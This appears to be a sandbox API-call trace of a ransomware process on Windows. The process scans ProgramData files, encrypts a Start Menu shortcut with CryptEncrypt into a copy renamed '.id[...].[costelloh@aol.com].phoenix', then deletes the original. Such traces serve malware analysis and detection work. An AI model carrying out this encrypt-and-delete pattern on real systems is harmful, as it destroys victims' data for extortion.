	[0262.939] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.939] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.939] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.940] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.940] CloseHandle (hObject=0x2e0) returned 1
	[0262.940] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.940] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.941] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=3856) returned 1
	[0262.941] CloseHandle (hObject=0x2e0) returned 1
	[0262.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.941] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.941] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.941] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.942] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1000) returned 1
	[0262.942] CloseHandle (hObject=0x2e0) returned 1
	[0262.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.942] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.942] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.942] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.944] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=57344) returned 1
	[0262.944] CloseHandle (hObject=0x2e0) returned 1
	[0262.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.944] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.944] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.944] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.945] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.945] CloseHandle (hObject=0x2e0) returned 1
	[0262.945] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.945] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.945] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=4036) returned 1
	[0262.945] CloseHandle (hObject=0x2e0) returned 1
	[0262.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.945] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.945] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.946] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.946] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1008) returned 1
	[0262.946] CloseHandle (hObject=0x2e0) returned 1
	[0262.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.947] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.947] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.947] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.948] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=49152) returned 1
	[0262.948] CloseHandle (hObject=0x2e0) returned 1
	[0262.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.948] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.948] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.949] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.949] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.949] CloseHandle (hObject=0x2e0) returned 1
	[0262.949] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.949] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.146] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=3952) returned 1
	[0263.146] CloseHandle (hObject=0x254) returned 1
	[0263.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0263.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.147] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.147] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0263.149] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Speech Recognition.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessibility\\speech recognition.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0263.150] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1244) returned 1
	[0263.150] CloseHandle (hObject=0x2e4) returned 1
	[0263.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Speech Recognition.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessibility\\speech recognition.lnk")) returned 0x20
	[0263.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Speech Recognition.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessibility\\speech recognition.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.150] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Speech Recognition.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessibility\\speech recognition.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0263.150] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0263.150] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0263.150] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Speech Recognition.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessibility\\speech recognition.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.299] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0263.299] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0263.299] ReadFile (in: hFile=0x2e4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x4dc, lpOverlapped=0x0) returned 1
	[0263.318] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x4e0, dwBufLen=0x4e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x4e0) returned 1
	[0263.318] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x4e0, lpOverlapped=0x0) returned 1
	[0263.319] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0263.319] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0263.319] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0263.319] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0263.319] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0263.319] CryptDestroyKey (hKey=0x151640) returned 1
	[0263.319] CloseHandle (hObject=0x2e4) returned 1
	[0263.319] CloseHandle (hObject=0x308) returned 1
	[0263.452] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Speech Recognition.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessibility\\speech recognition.lnk")) returned 1
	[0263.704] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0263.704] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.747] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1114) returned 1
	[0263.747] CloseHandle (hObject=0x310) returned 1
	[0263.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk")) returned 0x20
	[0263.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
